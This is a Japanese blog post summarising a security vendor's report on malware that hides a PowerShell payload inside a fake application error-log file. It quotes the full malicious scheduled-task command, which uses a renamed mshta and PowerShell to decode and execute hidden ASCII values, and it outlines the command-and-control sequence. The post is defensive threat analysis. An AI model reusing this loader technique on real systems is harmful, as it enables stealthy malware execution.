みっきー申す

ITに関する興味関心のまとめ、サイバーセキュリティニュースのまとめ、Twitter(https://mobile.twitter.com/microkeyword)で配信中の情報まとめなどを公開します

アプリケーションのエラーログを装ったファイルを用いる攻撃手法について

f:id:micro_keyword:20200622173305j:plain:w400

Huntress Labsという米国のセキュリティベンダが公開するブログ記事にて、興味深い攻撃手法が公開されました。

https://blog.huntresslabs.com/hiding-in-plain-sight-556469e0a4eblog.huntresslabs.com

私自身、当該組織については、良く知らなかったのですが、先日のRSA Conference 2020でも出展されていたようです。

https://www.rsaconference.com/usa/us-2020/expo-and-sponsors/huntress-labswww.rsaconference.com

ブログの記事では、マルウェアハッシュ値なども公開されていなかったので、詳細なマルウェアの挙動などは確認できないのですが、「こんな方法もあるんだ」くらいの気持ちで読んでいただければと思います。


目次


偽のエラーログを見つけたきっかけ

今回の発見は、BfeOnServiceStartTypenChangeという名の、タスクがスケジューリングされていることがきっかけだったようです。

具体的には、以下のコマンドにて実行が確認されたということでした。

C:\Windows\system32\BfeOnService.exe vbscript:CreateObject(\"Wscript.Shell\").Run(\"cmd.exe /C C:\Windows\system32\engine.exe -c \"\"IEX $($(gc 'C:\Windows\a.chk'|%{[char][int]($_.split('x')[-1])})-join'')\"\"\",0,True)(window.close)

BfeOnServiceStartTypenChangeのタスク自体および、コード中に記載されているコメントは、実際に存在するコマンドと同一のものを使用しているとのことです。

%windir%\system32\rundll32.exe bfe.dll,BfeOnServiceStartTypeChange

そして、実行されるコマンド中に記載されている、c:\windows\a.chkが今回のテーマであるファイルで、一見ログファイルに見えます。

https://miro.medium.com/max/1400/1*NuRdY20iXcCDBF1cCuJLWw.png

そして行の末尾に注目すると、16進数に偽装した、ASCII文字の10進数であることがわかります。

https://miro.medium.com/max/1400/1*6kTRF52PpMNVNj0stxJq0w.png

これらの、文字列は先ほどのコマンドに照らし合わせると、10進数ベースでASCIIコードに変換する様子がうかがえます。

https://miro.medium.com/max/1400/1*ZqYTLWinJdojEQfXymi0Fw.png

上記の図では、BfeOnService.exeがmshta.exe(正規のプログラム)、engine.exeがpowershell.exe(正規のプログラム)の名前を変えただけのものであることもわかります。

これらのファイルは、a.chkを読み込んでPowerShellに読み込ませ、実行するためのものであることも解析の中で分かっており、最終的に以下のスクリプトが成形されるとのことです。

logfile-first-payload.ps1 · GitHub


おおまかな攻撃の流れ

ブログの中で、攻撃の流れを以下のように図示しています。

https://miro.medium.com/max/1400/1*DVH74hS7MxFzH08iQ3L6cA.png

  1. 名前を偽装したPowerShellの実行により、復号化された偽のログファイルを読み込む。生成されたペイロードがPOSTリクエストを発生させ、「https[:]//X.X.X[.]X/<ランダムな文字列>.<aspまたはjspまたはphp>」へ接続し、応答を得る
  2. PSOTリクエストの応答にはエンコードされたPowerShellコマンドであり、このコマンドによって新たなGETリクエストが発生し、別のURLへ接続する(URLは一定時間ごとにランダムで作成される)
  3. そして、2.で返ってくる応答もエンコードされたPowerShellコマンドであり、Encrypt、Decrypt、Get-AV、Test-Administratorなどの機能を備えていて、ホストの情報を集めたり、ソフトウェアをインストールしたりすることが可能になる。

最終的に取得されるペイロードは以下のgithubレポジトリをご参照ください。

logfile-comparison.ps1 · GitHub


まとめ

今回ご紹介した事例のように、一見ログファイルに見えるファイルが実はペイロードだった!みたいなケースは、このごろ散見されますよね。

ステガノグラフィTwitterのアカウントを利用したケースもこれにあたると思います。

ステガノグラフィはタグを作ってみたので、以下のリンクにて参照される記事などを参考にしてみてください。

micro-keyword.hatenablog.com

Twitterのアカウントを利用したケースについては、以下の記事が参考になります。

www.welivesecurity.com

日本語版だとこの記事ですかね。

io.cyberdefense.jp

今回のケースを含め、これらの攻撃手法は、そうそう多いものではありませんが、方法の一つとして、知っておくことは、何かとためになる気がします。

興味の範囲でもいろいろと深堀してみると、さらに面白い発見があるのかも。